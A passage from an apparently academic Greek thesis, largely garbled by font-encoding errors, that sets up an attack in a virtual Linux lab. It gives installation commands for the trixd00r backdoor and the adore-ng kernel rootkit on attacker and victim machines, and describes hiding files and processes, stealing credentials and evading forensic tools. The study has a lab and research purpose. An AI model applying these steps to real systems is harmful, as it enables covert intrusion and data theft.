είτε να βρίςκονται ςε κόμβο εντόσ του δικτφου, host-basedfirewalls. Όπωσ είναι λογικό θ κάκε 

περίπτωςθ ζχει τα πλεονεκτιματά τθσ κακϊσ και κάποια μειονεκτιματα. Πολλζσ εταιρίεσ προκειμζνου 

να παρζχουν τθν μζγιςτθ αςφάλεια ςτο δίκτυό τουσ λόγω τθσ ςθμαντικότθτασ των αγακϊν που 

διακζτουν, κάνουν χριςθ και των δφο κατθγοριϊν[11]. 

΢χετικά με τον τρόπο λειτουργίασ των τειχϊν προςταςίασ ζχουμε ςε πρϊτο ςτάδιο το 

φιλτράριςμα πακζτων (packetsfilterornetworklayer). Παραπάνω αναφζραμε πωσ τα firewallsμπορεί να 

είναι βαςιςμζνα ςε hardwareι κάποιο softwareλογιςμικό, με ςκοπό να φιλτράρουν τα πακζτα 

βαςιηόμενα ςτισ επικεφαλίδεσ του πακζτου που αναφζρουν τθν IPδιεφκυνςθσ αποςτολισ του κακϊσ 

και τθν κατάλθξι του. Με τον τρόπο αυτό επιτρζπουν τθν διακίνθςθ πακζτων μόνο ςε 

εξουςιοδοτθμζνουσ χριςτεσ ενϊ ταυτόχρονα απορρίπτουν όλεσ τουσ υπόλοιπουσ. Η διαδικαςία αυτι 

είναι γνωςτι και ωσ  Packetfilter, δθλαδι, φιλτράριςμα πακζτων. 

 Μία άλλθ λειτουργικότθτα των firewalls,για τθν οποία διακρίνονται, είναι θ παροχι αςφάλειασ 

που παρζχουν ςτο ςτρϊμα εφαρμογισ (application-layer). Σα ςυγκεκριμζνα firewallsαςχολοφνται με το 

φιλτράριςμα των πακζτων ςτο ςτρϊμα εφαρμογϊν, όπωσ μία FTPεπικοινωνία. Φιλτράρουν δθλαδι τα 

πακζτα που προζρχονται ι και ακόμα καταλιγουν ςε μία εφαρμογι  ενϊ ταυτόχρονα απορρίπτουν όλα 

τα υπόλοιπα πακζτα. Ο λόγοσ φπαρξθσ τθσ ςυγκεκριμζνθσ κατθγορίασ ζγκειται ςτο γεγονόσ τθσ 

αςφάλιςθσ του ςυγκεκριμζνου ςτρϊματοσ από επικίνδυνα λογιςμικά, όπωσ από κάποιον ιό ι από 

κάποια μθ αξιόπιςτθ ιςτοςελίδα. 

Βζβαια ςτο ίδιο επίπεδο OSIτρζχουν και τα γνωςτά proxyfirewalls. ΢κοπόσ των ςυγκεκριμζνων 

τειχϊν προςταςίασ είναι να δρουν ςαν μεςολαβθτισ για τθν επικοινωνία ενόσ δικτφου με ζνα άλλο για 

μία ςυγκεκριμζνθ εφαρμογι. Ο proxyfirewallαποτρζπει τθν άμεςθ επικοινωνία μεταξφ των δφο 

πλευρϊν και αναγκάηει να επικοινωνιςουν μζςω αυτοφ, ενϊ αυτό με τθ ςειρά του εγκρίνει ι όχι τθ 

μετάδοςθ πακζτων ανάλογα με το ςφνολο κανόνων που διακζτει[12]. 

 

1.7Διαδικασία forensics 

H διαδικαςία forensics είναι ο τρόποσ ςυλλογισ και ανάλυςθσ δεδομζνων με ςτόχο τθν παρουςίαςθ 

πειςτθρίων ςτθν περίπτωςθ παράνομθσ δραςτθριότθτασ ςε ζναν υπολογιςτι. ΢κοπόσ είναι θ ςφνταξθ 

ζρευνασ ςε ζναν υπολογιςτι, διατθρϊντασ ταυτόχρονα τθν υπάρχουςα κατάςταςθ του υπολογιςτι, 

ϊςτε με τον τρόπο αυτό να βρεκεί ακριβϊσ τι υπζςτθ το μθχάνθμα και ποιοσ είναι ο υπεφκυνοσ για τθν 

ενζργεια αυτι[14]. 

Κατά τθ διαδικαςία εξιχνίαςθσ ενόσ υπολογιςτι για τθν εφρεςθ υπόπτων δραςτθριοτιτων, δεν 

ξεκινάει αυτόματα θ ςυλλογι ςτοιχείων. ΢ε πρϊτο ςτάδιο, κα πρζπει το προσ εξζταςθ μθχάνθμα να 

«παγϊςει», δθλαδι να παραμείνει ςτθν υπάρχουςα κατάςταςθ χωρίσ τθν παραμικρι αλλαγι ι 

διαγραφι κάποιου αρχείου από το ςφςτθμα. Φυςικά, ο λόγοσ που γίνεται αυτό είναι για τθν ακριβι 

εξζταςθ του ςκλθροφ δίςκου. Επίςθσ, επειδι εξζταςθ πραγματοποιείται και ςε άλλα τμιματα του 

υπολογιςτι (όπωσ θ  RAM) απαγορεφεται και θ απενεργοποίθςθ του μθχανιματοσ αυτοφ. Φυςικά, για 
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τουσ παραπάνω αναφερκζντεσ λόγουσ δεν επιτρζπεται και θ οποιαδιποτε εγκατάςταςθ λογιςμικοφ 

ςτο μθχάνθμα αυτό. 

Υςτερα λοιπόν από τθ διαδικαςία αυτι, δθμιουργείται ζνα ακριβζσ αντίγραφο τθσ υπάρχουςασ 

κατάςταςθσ του υπόπτου μθχανιματοσ και γίνεται ζρευνα πάνω ςτο αντίγραφο αυτό. Οι ερευνθτζσ 

χρθςιμοποιοφν πλθκϊρα τεχνικϊν κακϊσ και forensicsεφαρμογϊν προκειμζνου να μαηζψουν 

πλθροφορίεσ ςχετικά με διαγραμμζνα αρχεία του ςυςτιματοσ, κρυμμζνεσ διεργαςίεσ, κ.λ.π. Ζνα 

ςθμαντικό κομμάτι τθσ διαδικαςίασ forensicsείναι θ ςυλλογι μνιμθσ του υπολογιςτι. Αν το προσ 

εξζταςθ μθχάνθμα είναι ενεργό τότε μπορεί να πραγματοποιθκεί ςυλλογι τθσ μνιμθσ RAM(αφοφ αν 

είχε απενεργοποιθκεί το μθχάνθμα τα δεδομζνα τθσ κα είχαν χακεί). Ζνα γνωςτό μθχάνθμα που 

χρθςιμοποιείται για τθν ανάλυςθ των δεδομζνων τθσ μνιμθσ RAM, όπωσ κα δοφμε και ςτα παρακάτω 

κεφάλαια τθσ διατριβι μασ, είναι το VolatilityFramework[21]. Σο ςυγκεκριμζνο εργαλείο μασ βοθκάει 

ςτθν πλιρθ ανάλυςθ τθσ μνιμθσ του υπολογιςτι μασ. Ζνα ακόμα εργαλείο που είναι ευρζωσ γνωςτό 

ςε διαδικαςία forensicsείναι το λογιςμικό Lime[22]. Βζβαια το ςυγκεκριμζνο δεν πραγματοποιεί 

ανάλυςθ τθσ μνιμθσ, όπωσ το ποθγοφμενο ολογιςμικό, αλλά βοθκά ςτθν ςυλλογι τθ μνιμθσ για τθν 

μετζπειτα ανάλυςι τθσ.[13][15]. 

Η διαδικαςία forensicsάρχιςε να γίνεται ευρζωσ γνωςτι ςτισ αρχζσ τθσ δεκαετίασ του 80, με τθν 

αφξθςθ των θλεκτρονικϊν εγκλθμάτων. Η ζρευνα τθσ εγκλθματολογίασ υπολογιςτι προζκυψε κατά τθ 

διάρκεια αυτισ τθσ περιόδου ωσ μία μζκοδοσ για να ανακτιςει και να διερευνιςει ψθφιακζσ ενδείξεισ 

για χριςθ ςτο δικαςτιριο. Αυτι θ διαδικαςία ςυνεχίηεται μζχρι και ςιμερα με ςτόχο τθν εξιχνίαςθ μίασ 

θλεκτρονικισ εγκλθματικισ υπόκεςθσ. 

1.8 ΢κοπός της Διατριβής 

Η παροφςα διπλωματικι εργαςία ζχει ωσ ςκοπό τθν παρουςίαςθ μίασ επίκεςθσ τφπου rootkit  ςε 

περιβάλλοντοσ linux. ΢υνεπϊσ, κα αςχολθκοφμε με λογιςμικά τφπου rootkit κακϊσ και με άλλα 

κακόβουλα λογιςμικά που επιτρζπουν  backdoor ςφνδεςθ μεταξφ των δφο μθχανθμάτων. ΢κοπόσ μασ 

είναι να δοφμε βιμα προσ βιμα, όχι μόνο τθν λειτουργία των λογιςμικϊν αυτϊν αλλά και τθ 

μεκοδολογία που ακολουκοφμε προκειμζνου να είμαςτε ςυνδεδεμζνοι ςτον υπολογιςτι του κφματοσ, 

χωρίσ να μποροφμε να γίνουμε εφκολα αντιλθπτοί από το ςφςτθμα, ακόμα και αν πραγματοποιθκεί 

διαδικαςία forensics ςε αυτό. Με τθν ολοκλιρωςθ και υλοποίθςθ τθσ επίκεςθσ κα ζχουμε μία εικόνα 

για τθ μεκοδολογία και τον τρόπο ςκζψθσ που χρειάςτθκε να ακολουκιςουμε για να καταλιξουμε ςτο 

αποτζλεςμα αυτό. 

1.9 Δομή της Διατριβής 

΢τθν ςυγκεκριμζνθ υποενότθτα κα γίνει μία ςφντομθ παρουςίαςθ των κεφαλαίων που κα 

ακολουκιςουν, προκειμζνου ο αναγνϊςτθσ να γνωρίηει εν ςυντομία ςχετικά με τι ςχετίηεται κάκε 

κεφάλαιο. Όςον αφορά το κεφάλαιο 2 γίνεται ανάλυςθ τθσ διαδικαςίασ  τθσ εγκατάςταςθσ των 

λογιςμικϊν μασ ςτο ςφςτθμα του κφτθ αλλά και του κφματοσ. Βζβαια, κα γίνει και αναφορά ςτθν 

υποενότθτα 4.2.1, μιασ και κα υπάρξουν αρκετζσ βελτιϊςεισ  ςτον τομζα τθσ επίκεςθσ ςτον υπολογιςτι 

του κφματοσ.  Σο 3
ο
 κεφάλαιο αποτελεί ςθμαντικό ςθμείο ςτθν υλοποίθςθ τθσ επίκεςισ μασ κακϊσ 

πραγματοποιείται ςφλλθψθ των απαιτιςεων αλλά και θ ανάλυςθ και ο ςχεδιαςμόσ τθσ επίκεςισ μασ 

ςε πρϊτο ςτάδιο. ΢το μετζπειτα κεφάλαιο κα πραγματοποιιςουμε νζα ανάλυςθ και ςχεδιαςμό τθσ 

επίκεςισ μασ βαςιηόμενοι ςε αδυναμίεσ που εντοπίςαμε από το πρϊτο ςτάδιο. Σζλοσ, κα 

πραγματοποιιςουμε μία πρϊτθ υλοποίθςθ τθσ επίκεςισ μασ. ΢το 5
ο
 κεφάλαιο κα γίνει εντοπιςμόσ 

περαιτζρω αδυναμιϊν τθσ επίκεςισ μασ και πραγματοποίθςθ νζασ ανάλυςθσ και ςχεδιαςμοφ αυτισ. 

΢τθ ςυνζχεια, κα υλοποιιςουμε ςε τελικι πλζον μορφι τθν επίκεςι μασ. ΢το κεφάλαιο 6
ο
 γίνεται 
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αναφορά ςτισ ακόμα υπάρχουςεσ αδυναμίεσ για μελλοντικι εξζλιξθ τθσ διπλωματικισ εργαςίασ, ενϊ 

ςτο τελευταίο κεφάλαιο αναγράφονται οι κϊδικεσ που χρειάςτθκαν για τθν υλοποίθςθ τθσ επίκεςθσ 

αυτισ και τελειϊνοντασ ακολουκεί θ υπάρχουςα βιβλιογραφία μασ.    
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ΚΕΥΑΛΑΙΟ 2
ο

: ΔΗΜΙΟΤΡΓΙΑ ΕΡΓΑ΢ΣΗΡΙΑΚΟΤ 

ΠΕΡΙΒΑΛΛΟΝΣΟ΢ 

2.1  Εικονικά Μηχανήματα και Λειτουργικά Περιβάλλοντα 

΢ε αρχικό ςτάδιο κα πρζπει να κάνουμε εγκατάςταςθ του λογιςμικοφ VMware Workstation μζςω του 

οποίου κα εγκαταςτιςουμε δφο λογιςμικά Linux. ΢τθν ςυγκεκριμζνθ διπλωματικι εργαςία το ζνα κα 

πραγματεφεται τον ρόλο του κφματοσ, ενϊ το άλλο τον ρόλο του επιτικεμζνου.  ΢ε αυτό το ςθμείο 

πρζπει να ςθμειωκεί πωσ και τα δφο λειτουργικά ςυςτιματα Linux είναι ζκδοςθσ Ubuntu 12.04.5 LTS, 

για λόγουσ που κα αναφζρουμε παρακάτω. Σα δφο αυτά εικονικά λογιςμικά ανικουν ςτο ίδιο δίκτυο 

για πρακτικοφσ λόγουσ.  ΢τισ εικόνεσ που ακολουκοφν (βλζπε Εικόνα 1) και (βλζπε Εικόνα 2) 

απεικονίηονται αυτά που μόλισ αναφζραμε. 

 

Εικόνα 1: Εικονικά μησανήμαηα Linux. 

 

 

Εικόνα 2: Δίκηςο ηυν Εικονικών μησανημάηυν. 

2.2 Εγκατάσταση λογισμικών στο θύτη 

Τα ινγηζκηθά πνπ ζα ρξεζηκνπνηήζνπκε γηα ηελ παξαβίαζε ηνπ κεραλήκαηνο ηνπ ζύκαηνο είλαη ην 

trixd00r-0.0.1[7] θαη ην adore-ng-master[8], όπσο θαίλεηαη ζηελ παξαθάησ θσηνγξαθία (βιέπε Δηθόλα 

3).  Τν trixd00r-0.0.1 είλαη έλα ινγηζκηθό πνπ ζα καο  παξέρεη ηελ δπλαηόηεηα γηα backdoor επηθνηλσλία 
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κεηαμύ εκώλ (από ηελ πιεπξά ηνπ επηηηζεκέλνπ) θαη ηνπ ζύκαηνο. Τνλ ηξόπν ιεηηνπξγίαο ζα ηνλ 

αλαιύζνπκε ζε παξαθάησ θεθάιαην. Όζνλ  αθνξά ην adore-ng είλαη έλα rootkit πνπ ζα καο βνεζήζεη λα 

παξακείλνπκε ζην ζύζηεκα, ηειείσο αόξαηνη από ηνλ ρξήζηε-ζύκα.  

 

Εικόνα 3: Λογιζμικά ππορ σπήζη για ηην παπαβίαζη ζςζηήμαηορ. 

Γηα ηελ επηηπρή εγθαηάζηαζε ηνπ trixd00r-0.0.1 ζα πξέπεη λα πξαγκαηνπνηεζνύλ ηα παξαθάησ 

βήκαηα.  Αθνύ θάλνπκε απνζπκπίεζε ην αξρείν trixd00r-0.0.1.tar.gz, ελ ζπλερεία αλνίγνπκε ηε γξακκή 

εληνιώλ (Terminal) θαη πάκε ζηε δηεύζπλζε όπνπ έρεη γίλεη ε απνζπκπίεζε ηνπ αξρείνπ απηνύ. 

Γξάθνληαο ηελ εληνιή make παξαηεξνύκε, όπσο θαίλεηαη θαη ζηελ εηθόλα πνπ αθνινπζεί (βιέπε Δηθόλα 

4), ηελ επηινγή εγθαηάζηαζεο ηνπ ινγηζκηθνύ αλάινγα κε ην ιεηηνπξγηθό ζύζηεκα πνπ έρνπκε. Σηε 

πεξίπησζε απηή ζα επηιέμνπκε ηελ πξώηε  επηινγή, δειαδή ζε Linux πεξηβάιινλ. 

 

Εικόνα 4: Επιλογή πεπιβάλλονηορ λογιζμικού ππορ εγκαηάζηαζηρ trixd00r. 

Τξέρνληαο ινηπόλ ηελ εληνιή “makelinux” ζα παξαηεξήζνπκε ακέζσο ηελ ύπαξμε ζθάικαηνο θαηά ηελ 

εγθαηάζηαζε ηνπ ινγηζκηθνύ trixd00r, κε αξηζκό ζθάικαηνο “Error 127” θαη πεξηγξαθή “gmake: 

notfound”, όπσο θαίλεηαη θαη ζηελ παξαθάησ εηθόλα (βιέπε Δηθόλα 5). 
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Εικόνα 5: Ύπαπξη ζθάλμαηορ gmake 

Η ύπαξμε ηνπ ζθάικαηνο απηνύ είλαη ινγηθή κηαο θαη νη εθδόζεηο Ubuntu δελ παξέρνπλ ηελ εληνιή 

gmake. Γηα ηελ επίιπζε απηνύ ηνπ πξνβιήκαηνο ζα πξέπεη λα εθηειεζηεί ζηε γξακκή εληνιώλ ε 

αθόινπζε εληνιή: 

sudo ln -s /usr/bin/make /usr/bin/gmake [9] 

Δθηειώληαο ηελ εληνιή απηή θαη ζηε ζπλέρεηα ηξέρνληαο γηα άιιε κία θνξά ηελ εληνιή “makelinux”, 

καο εκθαλίδεηαη δπζηπρώο “fatalerror: pcap.h”, όπσο θαίλεηαη παξαθάησ (βιέπε Δηθόλα 6). 

 

 

Εικόνα 6: Fatalerror: pcap.h 

Γηα ηελ αληηκεηώπηζε απηνύ ηνπ πξνβιήκαηνο απαηηείηαη ε εγθαηάζηαζε ζπγθεθξηκέλεο βηβιηνζήθεο. 

Πην ζπγθεθξηκέλα ρξεηαδόκαζηε ηελ βηβιηνζήθε libpcap0.8-dev, ηελ νπνία ζα εγθαηαζηήζνπκε κέζσ ηεο 

εληνιήο “sudoapt-getinstalllibpcap0.8-dev”[10] (βιέπε Δηθόλα 7). 
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Εικόνα 7: Libpcap0.8-dev 

Tειεηώλνληαο ηελ εγθαηάζηαζε ηνπ ινγηζκηθνύ απηνύ ζα πξέπεη λα εθηειεζηεί ε εληνιή “sudoapt-

getupdate” θαη κεηά ηξέρνπκε ηελ εληνιή “makelinux”. 

 

 

Εικόνα 8: Sudo apt-get update 

 

Εικόνα 9: Trixd00r - Makelinux 

Όζνλ  αθνξά ηε δηαδηθαζία εγθαηάζηαζεο ηνπ ινγηζκηθνύ adore-ng (rootkit) ζα πξέπεη ζε αξρηθό 

ζηάδην λα θάλνπκε απνζπκπίεζε ηνπ αξρείνπ adore-ng-master.tar πνπ έρεη ιεθζεί, όπσο θαίλεηαη ζηελ 

εηθόλα πνπ αθνινπζεί (βιέπε Δηθόλα 10). 
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Εικόνα10: Αποζςμπίεζη απσείος. 

 

Αθνύ πξαγκαηνπνηεζεί επηηπρώο ην ζηάδην απηό, ελ ζπλερεία ζα αλνίμνπκε κία γξακκή εληνιώλ, ζηελ 

νπνία αθνύ δώζνπκε ηνλ θαηάιιειν πξννξηζκό, όπνπ έγηλε ε απνζπκπίεζε ηνπ αξρείνπ, ζα ηξέμνπκε 

ηελ εληνιή “make” γηα λα νινθιεξσζεί ην πξώην ζηάδην εγθαηάζηαζεο ηνπ πξνγξάκκαηνο απηνύ. Καηά 

ηελ εθηέιεζε απηήο ηεο εληνιήο πηζαλόλ λα εκθαληζηεί πξνεηδνπνίεζε γηα κε αθξηβή αληηζηνίρηζε. Απηό 

ζπκβαίλεη θαζόηη ηξέρνπκε ζε έθδνζε 12.04 θαη όρη 14.04, αιιά δελ καο επεξεάδεη ε πξνεηδνπνίεζε 

απηή (βιέπε Δηθόλα 11). 

 

Εικόνα 11: Warningmismatch 

Τέινο, ζα ηξέμνπκε κε δηθαηώκαηα root, ηελ εληνιή “sudoinsmodadore-ng.ko” γηα ηελ νινθιήξσζε 

ηεο εγθαηάζηαζεο ηνπ rootkit. Πξνθεηκέλνπ όκσο λα είκαζηε ζίγνπξνη γηα ηελ νξζή νινθιήξσζε ηεο 

δηαδηθαζίαο απηήο, ζηελ γξακκή εληνιώλ ζα δώζνπκε ηελ εληνιή “./avaI”, όπσο απεηθνλίδεηαη θαη 

παξαθάησ (βιέπε Δηθόλα 12). 
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Εικόνα 12: Επιβεβαίυζη επιηςσημένηρ εγκαηάζηαζηρ rootkit 

Όπσο είλαη επθόισο αληηιεπηό από ηελ παξαπάλσ εηθόλα, ην ινγηζκηθό καο εγθαηαζηάζεθε κε 

επηηπρία, έρεη δηθαηώκαηα ππεξρξήζηε, είλαη έθδνζεο 1.56, ελώ ιίγν πην θάησ παξαηεξνύληαη θάπνηα ID. 

Τα ID απηά ρξεζηκνπνηνύληαη γηα λα κελ είλαη νξαηά  ηα αξρεία ηνπ επηηηζεκέλνπ από ην ζύκα. Πην 

ζπγθεθξηκέλα, θαηά ηε δεκηνπξγία ελόο αξρείνπ, απηό έρεη θάπνηα δηθαηώκαηα θαη αλήθεη ζε θάπνηνλ. 

Αλ αιιάμνπκε ηνπο ηδηνθηήηεο ηνπ αξρείνπ απηνύ βάδνληαο ηα ID ηνπ rootkit, ζα παξαηεξεζεί ε 

εμαθάληζεηνπ αξρείνπ απηνύ από ηα κάηηα ηνπ ρξήζηε (βιέπε Δηθόλα 13). 

 

Εικόνα 13: Εξαθάνιζη απσείος abc. 

Βέβαηα ζα πξέπεη λα αλαθεξζεί πσο όπνηα εγθαηάζηαζε ινγηζκηθνύ έρεη πξαγκαηνπνηεζεί, έρεη 

γίλεη ζην ιεηηνπξγηθό ζύζηεκα ηνπ ζύηε θαη όρη ηνπ ζύκαηνο. Ο ηξόπνο κε ηνλ νπνίν ζα γίλεη ε 

πξόζβαζε ζην ζύκα θαη ζπλεπώο ε εγθαηάζηαζε ησλ θαθόβνπισλ ινγηζκηθώλ καο ζα αλαπηπρζεί 

παξαθάησ. 

2.3 Εγκατάσταση λογισμικών στο θύμα 

Γηα ηελ εγθαηάζηαζε ησλ θαθόβνπισλ ινγηζκηθώλ καο ζηνλ ππνινγηζηή ηνπ ζύκαηνο απαηηείηαη 

πξόζβαζε ζε απηόλ κε ηελ απόθηεζε ηνπ θσδηθνύ πξόζβαζεο.  Σηελ πεξίπησζή καο, ν θσδηθόο 

πξόζβαζεο ηνπ ζύκαηνο είλαη γλσζηόο ζε εκάο, ζε πξαγκαηηθό ζελάξην όκσο ζα πξέπεη λα απνθηεζεί κε 

θάπνην ηξόπν, ζεκηηό ή κε. Έρνληαο ινηπόλ ηνλ θσδηθό πξόζβαζεο ηνπ ζύκαηνο, ηξέρνπκε ζηελ γξακκή 

εληνιώλ καο ηελ εληνιή “sshIPaddress ηνπ ζύκαηνο” (βιέπε Δηθόλα 14). 
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Εικόνα 14: Ssh. 

Έρνληαο ινηπόλ απνθηήζεη πξόζβαζε ζην ζύζηεκα ηνπ ζύκαηνο, πξαγκαηνπνηνύκε ηηο δηαδηθαζίεο 

εγθαηάζηαζεο ησλ ινγηζκηθώλ καο κε ηνλ ίδην ηξόπν, όπσο θάλακε πξηλ ιίγν ζην ππνινγηζηή καο 

(ζύηεο). Αξρηθά όκσο, κέζσ ηεο εληνιήο “scp” ζα κεηαθέξνπκε ηα ζπκπηεζκέλα αξρεία (από ηνλ 

ππνινγηζηή καο) ζηνλ ππνινγηζηή ηνπ ζύκαηνο. Σην ζεκείν απηό ζα επαλαιάβνπκε ελ ζπληνκία ηα 

βήκαηα πνπ αθνινπζήζακε πξνεγνπκέλσο. Καηαξράο ζα ηξέμνπκε ηελ εληνιή “sudoln -s /usr/bin/make 

/usr/bin/gmake” γηαηί όπσο πξνείπακε δελ ππάξρεη gmake ζηα Ubuntu. Μεηέπεηηα ζα γίλεη ιήςε ηεο 

βηβιηνζήθεο libpcap0.8-dev πνπ απαηηείηαη γηα ην trixd00r. Έρνληαο θάλεη ηα δύν βήκαηα απηά πάκε ζην 

θάθειν πξννξηζκνύ ηνπ ζπκπηεζκέλνπ αξρείνπ trixd00r, ην απνζπκπηέδνπκε θαη ηέινο  ηξέρνπκε ηελ 

εληνιή “makelinux”.  Γηα ην ινγηζκηθό adore-ng ην απνζπκπηέδνπκε θαη ζηε ζπλέρεηα ηξέρνπκε ηηο 

εληνιέο “make” θαη “sudoinsmodadore-ng.ko”. Τα ινγηζκηθά καο είλαη πιένλ εγθαηεζηεκέλα θαη ζηα δύν 

κεραλήκαηα (βιέπε Δηθόλα 15). 

 

Εικόνα 15: Τελική μοπθή μεηά από εγκαηάζηαζη. 

 

Τν αξλεηηθό ην νπνίν κπνξεί λα ζεκεησζεί ζε απηό ην ζεκείν, είλαη πσο έρνπκε πξαγκαηνπνηήζεη 

επηθνηλσλία κέζσ ηεο εληνιήο ssh. Σπλεπώο εάλ ν ρξήζηεο-ζύκα πξαγκαηνπνηήζεη ζάξσζε ζην δίθηπό 

ηνπ θαηά ηελ δηάξθεηα πνπ είκαζηε ζπλδεδεκέλνη ζε απηόλ, ηόηε καο εληόπηζε. Σπλεπώο ε επίζεζή καο 

παξνπζηάδεη κία αδπλακία, κηαο θαη θαίλεηαη θαη ν ηξόπνο ζύλδεζεοssh αιιά θαη ε δηεύζπλζή καο. 
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ΚΕΥΑΛΑΙΟ 3
Ο

 : ΕΝΑΡΞΗ 

3.1 ΢ύλληψη απαιτήσεων 

Οη απαηηήζεηο ηεο ζπγθεθξηκέλεο δηπισκαηηθήο εξγαζίαο είλαη μεθάζαξεο. Θα πξέπεη ν ζύηεο λα 

απνθηήζεη απνκαθξπζκέλε πξόζβαζε ζηνλ ππνινγηζηή ηνπ ζύκαηνο, κε δηθαηώκαηα ππεξρξήζηε, ρσξίο 

λα έρεη γλώζε γηα ηελ ελέξγεηα απηή ην ζύκα. Θα ρξεζηκνπνηήζεη ην trixd00r πξνθεηκέλνπ λα 

πξαγκαηνπνηήζεη backdoor επηθνηλσλία θαη ζηε ζπλέρεηα  ην adore-ng γηα λα θξύςεη IDprocesses θαη 

θαθόβνπια αξρεία, γηα λα είλαη ηειείσο κε αληρλεύζηκνο (αλ είλαη δπλαηόλ) από ην ζύζηεκα. Με ηε 

ζεηξά ηνπ, ην ζύκα ζα πξέπεη λα πξαγκαηνπνηήζεη forensics γηα λα βξεη ηνλ ζύηε κέζα ζηνλ ππνινγηζηή, 

κε ηε βνήζεηα ηνπ Volatility θαη ηνπ Lime γηα ηε δεκηνπξγία αληηγξάθνπ ηεο κλήκεο θαη αλάιπζεο 

απηήο. 

3.2 Ανάλυση και σχεδιασμός 

΢το πρϊτο ςτάδιο τθσ ανάλυςθσ ςκεφτικαμε ότι οι βαςικζσ ενζργειεσ που κζλουμε να 

πραγματοποιοφνται από τον κφτθ είναι θ επιλογι τφπου ςφνδεςθσ με το κφμα. Πιο ςυγκεκριμζνα τι 

τφπου ςφνδεςθ κα είναι, παραδείγματοσ χάρθ ΣCP ι UDP, και ςε ποια πόρτα πάνω κα γίνει θ ςφνδεςθ. 

Αυτζσ είναι μόνο οριςμζνεσ επιλογζσ που προςφζρει το trixd00r. Επίςθσ, ςτισ βαςικζσ λειτουργίεσ 

περιλαμβάνεται θ δυνατότθτα μθ εμφάνιςθσ αρχείων κακϊσ και διαδικαςιϊν αλλά και θ μόνιμθ 

διαγραφι διεργαςιϊν, μζςω του λογιςμικοφ adore-ng. 

3.2.1 Διαγράμματα Περιπτώσεων Φρήσης (UseCaseDiagrams) 

Σηελ εηθόλα πνπ αθνινπζεί θαίλεηαη  ν ζύηεο λα πξαγκαηνπνηεί ζύλδεζε backdoor κε ην ζύκα κε ηελ 

βνήζεηα ηνπ trixd00r, πνπ είλαη απαξαίηεηε ελέξγεηα πξνθεηκέλνπ ν ζύηεο λα έρεη απνκαθξπζκέλε 

πξόζβαζε ζηνλ ππνινγηζηή ηνπ ζύκαηνο κε δηθαηώκαηα root, όπσο αλαθέξακε θαη πην πάλσ (βιέπε 

Δηθόλα 16). 

 

Εικόνα 16: Απομακπςζμένη ζύνδεζη. 

Ο ρξήζηεο-ζύηεο κπνξεί λα παξαηεξεί ηηο θηλήζεηο – ελέξγεηεο ηνπ ζύκαηνο κέζσ ηεο απνκαθξπζκέλεο 

πξόζβαζεο ζηνλ ππνινγηζηή απηνύ (βιέπε Δηθόλα 17). 
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Εικόνα 17: Παπακολούθηζη ηπεσοςζών διεπγαζίυν. 

 

Ο επηηηζέκελνο επίζεο έρεη ηε δπλαηόηεηα ππνθινπήο δεδνκέλσλ θαίξηαο ζεκαζίαο γηα ην ζύκα, από 

θσδηθνύο πξόζβαζεο ζε ειεθηξνληθέο δηεπζύλζεηο κέρξη θαη θσδηθνύο ηξαπεδηθώλ ινγαξηαζκώλ, πνπ 

απνκλεκνλεύζεθαλ από ην ζύζηεκα θαηά ηε δηάξθεηα ειεθηξνληθώλ αγνξώλ (βιέπε Δηθόλα 18). 

 

Εικόνα 18: Υποκλοπή Δεδομένυν από θύηη. 

 Δπηπιένλ κέζσ ηνπ adore-ng ν ρξήζηεο-ζύηεο ζα κπνξεί λα είλαη ζε ζέζε λα θξύβεη αξρεία από ηνλ 

ρξήζηε-ζύκα θαζώο θαη δηεξγαζίεο πνπ εθηεινύληαη ηε ρξνληθή δηάξθεηα πνπ είλαη κέζα ζηνλ 

ππνινγηζηή ηνπ ζύκαηνο (βιέπε Δηθόλα 19). 

 

Εικόνα 19: Απόκπςτη απσείυν και διεπγαζιών. 

Βζβαια, όπωσ αναφζραμε παραπάνω,  ο επιτικζμενοσ ζχει τθ δυνατότθτα να κρφψει αρχεία και 

διεργαςίεσ με τθν ίδια ευκολία που μπορεί να εμφανίςει κρυφά αρχεία/διεργαςίεσ που 

δθμιουργικθκαν από το κφμα για λόγουσ υψθλισ ςθμαςίασ (βλζπε Εικόνα 20). 
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Εικόνα 20: Εμθάνιζη κπςθών απσείυν και διεπγαζιών. 

Αθόκα πξέπεη λα ηνληζηεί πσο κε ηε βνήζεηα ηνπ rootkit καο ν επηηηζέκελνο είλαη ζηε ζέζε λα δηαγξάςεη 

κόληκα κία δηεξγαζία ρσξίο απηή λα έρεη ηε δπλαηόηεηα λα αλαδεκηνπξγεζεί (βιέπε Δηθόλα 21). Βέβαηα, 

όπσο γίλεηαη επθόισο αληηιεπηό, ιόγσ ηνπ όηη έρεη δηθαηώκαηα ππεξρξήζηε ν επηηηζέκελνο είλαη ζε ζέζε 

λα εθηειέζεη όπνηα δηεξγαζία επηζπκεί, απιώο εκείο ζηε ζπγθεθξηκέλε δηπισκαηηθή ζα αζρνιεζνύκε κε 

απηέο ηηο ελέξγεηεο πνπ πξναλαθέξακε. 

 

Εικόνα 21: Μόνιμη διαγπαθή διεπγαζίαρ. 

3.2.2 Διαγράμματα Σάξεων(ClassDiagrams) 

Έρνληαο ινηπόλ θαηά λνπ ηελ πξώηε κνξθή πνπ ζέινπκε λα έρεη ε επίζεζή καο θαηά ηελ πινπνίεζε,  

θαηαιήγνπκε ζην ζπκπέξαζκα ηεο ύπαξμεο δύν θαθόβνπισλ  ινγηζκηθώλ ζε θαζέλα από ηνπο δύν 

ππνινγηζηέο, ηνπ rootkitadore-ng θαη ηνπ backdoortrixd00r κε ηα αθόινπζα ραξαθηεξηζηηθά (βιέπε 

Δηθόλα 22). 

 

Εικόνα 22: Μοπθή ηυν λογιζμικών πος θα σπηζιμοποιηθούν για ηην επίθεζη. 
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ΚΕΥΑΛΑΙΟ 4
Ο

 : ΕΚΠΟΝΗ΢Η ΜΕΛΕΣΗ΢ 

4.1 Ανάλυση και ΢χεδιασμός 

Έρνληαο ινηπόλ πξαγκαηνπνηήζεη κε απόιπηε επηηπρία ηελ εγθαηάζηαζε ησλ δύν απηώλ θαθόβνπισλ 

πξνγξακκάησλ ζηα ιεηηνπξγηθά ζπζηήκαηα ηνπ ζύηε (εκείο) θαη ηνπ ζύκαηνο, ήξζακε αληηκέησπνη κε 

κηα ζεηξά πξνβιεκάησλ πνπ απαηηνύζαλ άκεζε βειηίσζε κε ζθνπό ηελ θαιύηεξε αζθάιεηά καο 

απέλαληη ζην ζύζηεκα ηνπ ζύκαηνο. 

4.1.1 Διαγράμματα Περιπτώσεων Φρήσης 2ης έκδοσης (Use Case Diagrams) 

